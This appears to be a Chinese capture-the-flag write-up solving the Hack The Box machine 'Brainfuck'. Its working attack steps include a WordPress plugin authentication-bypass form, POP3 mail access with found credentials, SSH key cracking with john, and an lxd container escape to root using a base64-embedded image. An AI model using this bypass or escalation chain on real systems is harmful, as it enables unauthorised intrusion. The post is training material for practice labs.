• 【Hack The Box】linux练习-- Brainfuck


    HTB 学习笔记

    Hack The Box】linux练习-- Brainfuck


    🔥系列专栏:Hack The Box
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年11月7日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    在这里插入图片描述

    信息收集

    22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 94d0b334e9a537c5acb980df2a54a5f0 (RSA)
    |   256 6bd5dc153a667af419915d7385b24cb2 (ECDSA)
    |_  256 23f5a333339d76d5f2ea6971e34e8e02 (ED25519)
    25/tcp  open  smtp?
    |_smtp-commands: Couldn't establish connection on port 25
    110/tcp open  pop3     Dovecot pop3d
    |_pop3-capabilities: USER PIPELINING UIDL SASL(PLAIN) RESP-CODES AUTH-RESP-CODE CAPA TOP
    143/tcp open  imap     Dovecot imapd
    |_imap-capabilities: ENABLE LITERAL+ Pre-login more IMAP4rev1 post-login SASL-IR ID listed capabilities have AUTH=PLAINA0001 OK IDLE LOGIN-REFERRALS
    443/tcp open  ssl/http nginx 1.10.0 (Ubuntu)
    | ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
    | Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    web枚举

    在这里插入图片描述发现只有静态页面,只种情况下要么存在目录爆破的情况,要么需要做host,而未知的host信息通常去nmap看有没有,或者是看页面登录有无跳转
    nmap信息如下

    commonName=brainfuck.htb/organizationName=Brainfuck
    Ltd./stateOrProvinceName=Attica/countryName=GR | Subject Alternative
    Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb

    gedit /etc/hosts
    
    • 1

    所以我们要把这个写入host文件

    然后直接访问这个即可
    https://www.brainfuck.htb/
    还有另外一个
    https://sup3rs3cr3t.brainfuck.htb
    在这里插入图片描述orestis发现一个可疑用户名,并且也发现了这是一个wp站点
    我们按照惯例扫描一下目录

    扫描方法随意,我加了php的后缀,反正啥也没扫出来
    在这里插入图片描述再根据wpscan来扫描一下漏洞,关于wps我们需要重点关注的是有五已经安装的插件,而后才是cms的版本漏洞

    wpscan --url https://brainfuck.htb/  -e u --api-token aGVBtnUBzh8Gx1PxYsWpgX06Bsa05TO5rtipCRHesf8 --disable-tls-checks
    
    • 1

    存在的用户有这两个
    在这里插入图片描述
    看到安装了插件功能,而这个插件正是非常脆弱的
    在这里插入图片描述searchsploit wordpress Plugin wp support
    在这里插入图片描述然后在谷歌也是找到了别人写的脚本,如下
    在这里插入图片描述
    自己搭建一个python服务器,而后浏览器访问本地即可

    <form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
             Username: <input type="text" name="username" value="admin">
             <input type="hidden" name="email" value="orestis@brainfuck.htb">
             <input type="hidden" name="action" value="loginGuestFacebook">
             <input type="submit" value="Login">
            </form>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    出现一个界面,我们输入用户,就可以不用密码而进入该账户了

    然后页面会空白,这个时候再把url多的一些删掉只留这么些
    回车,就能看到了
    在这里插入图片描述我们发现了smtp的插件,也发现了以往的主题脆弱点无法使用,进一步的枚举,发现了设置页面有账户以及密码,f12检查可以找到密码
    在这里插入图片描述
    在这里插入图片描述

    smtp枚举

    nc 10.129.228.97 110
    list
    retr 1
    retr 2
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述www-data

    在这里插入图片描述
    username: orestis
    password: kIEnnfEKJ#9UmdO

    ssh尝试

    尝试ssh
    发现ssh不能登录
    在这里插入图片描述

    web的第二次尝试

    由于咱们之前加host的时候有两个dns
    这次尝试一下第二个

    在这里插入图片描述在这里插入图片描述
    在这里插入图片描述看到第二个被加密了,但是我们要找共同点

    在这里插入图片描述

    在这里插入图片描述mnvze://zsrivszwm.rfz/8cr5ai10r915218697i1w658enqc0cs8/ozrxnkc/ub_sja

    很明显这些都是经过了加密
    而通过这一个信息,我猜测这是https可能是,我拿去尝试解密一下

    密码学

    Orestis - Hacking for fun and profit
    加密成了
    Pieagnm - Jkoijeg nbw zwx mle grwsnn

    https://www.braingle.com/brainteasers/codes/onetimepad.php
    https://cryptii.com/
    
    • 1
    • 2

    Vigenere Cipher解密

    在这里插入图片描述
    得到key
    fuckmybrain

    然后在第二个网站解密
    在这里插入图片描述得到了存在rsa的网址
    在这里插入图片描述

    ssh密钥爆破

    python /usr/share/john/ssh2john.py id_rsa > 1.txt
    john --wordlist=/usr/share/wordlists/rockyou.txt 1.txt
    在这里插入图片描述
    在这里插入图片描述发现lsd组,还有几个东西
    在这里插入图片描述看了这个加密规则认为这是rsa,关键就在于n=p*q
    这就是rsa的算法

    rsa解密

    p,q,e三个数值来源于给出的信息

    def egcd(a, b):
        x,y, u,v = 0,1, 1,0
        while a != 0:
            q, r = b//a, b%a
            m, n = x-u*q, y-v*q
            b,a, x,y, u,v = a,r, u,v, m,n
            gcd = b
        return gcd, x, y
    
    def main():
    
        p = 
        q = 
        e = 
        ct = 
        # compute n
        n = p * q
    
        # Compute phi(n)
        phi = (p - 1) * (q - 1)
    
        # Compute modular inverse of e
        gcd, a, b = egcd(e, phi)
        d = a
    
        print( "n:  " + str(d) );
    
        # Decrypt ciphertext
        pt = pow(ct, d, n)
        print( "pt: " + str(pt) )
    
    if __name__ == "__main__":
        main()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    会得到一个pt和n
    然后进入python命令行

    >>> pt =  
    >>> f"{pt:x}"
    >>> bytes.fromhex(f"{pt:x}").decode()
    
    • 1
    • 2
    • 3

    在这里插入图片描述看这里面debug.txt有三段,就分别是p,q,e
    output.txt是ct
    下面得出了ct
    在这里插入图片描述

    >>> pt =  
    >>> f"{pt:x}"
    >>> bytes.fromhex(f"{pt:x}").decode()
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    lxd提权(我喜欢把这称之为烂兄弟提权)

    1. 传输,这是alphina的base64
    echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhyvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng= | base64 -d > bob.tar.bz2
    
    2. 导入镜像
    lxc image import bob.tar.bz2 --alias bobImage
    
    3. 查看是否成功
    lxc image list
    3. 创建
    lxc init bobImage bobVM -c security.privileged=true
    4. 指向root
    lxc config device add bobVM realRoot disk source=/ path=r
    5. 开机
    lxc start bobVM
    6. 检查
    lxc list
    7. 获取shell
    lxc exec bobVM -- /bin/bash
    8. 进入目录
    cd /r/root/
    9. 随心所欲
    cat root.txt
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    在这里插入图片描述
    看到没有可利用的,所以我们自己拉一个
    在这里插入图片描述

  • 相关阅读:
    无缝集成的艺术:iCloud与Apple TV的协同之旅
    腾讯云轻量应用服务器性能如何?来自学生的评价
    LeetCode #2.两数相加
    【uniapp小程序】uploadFile文件上传
    基于uniapp大学生社团活动管理系统python+java+node.js+php微信小程序
    环境多介质逸度模型与典型案例【代码】应用
    FreeRTOS堆栈溢出检查
    前端开发引入element plus与windi css
    华为数通方向HCIP-DataCom H12-831题库(多选题:41-60)
    灰度发布专题---1、灰度发布的意义和方案
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127740885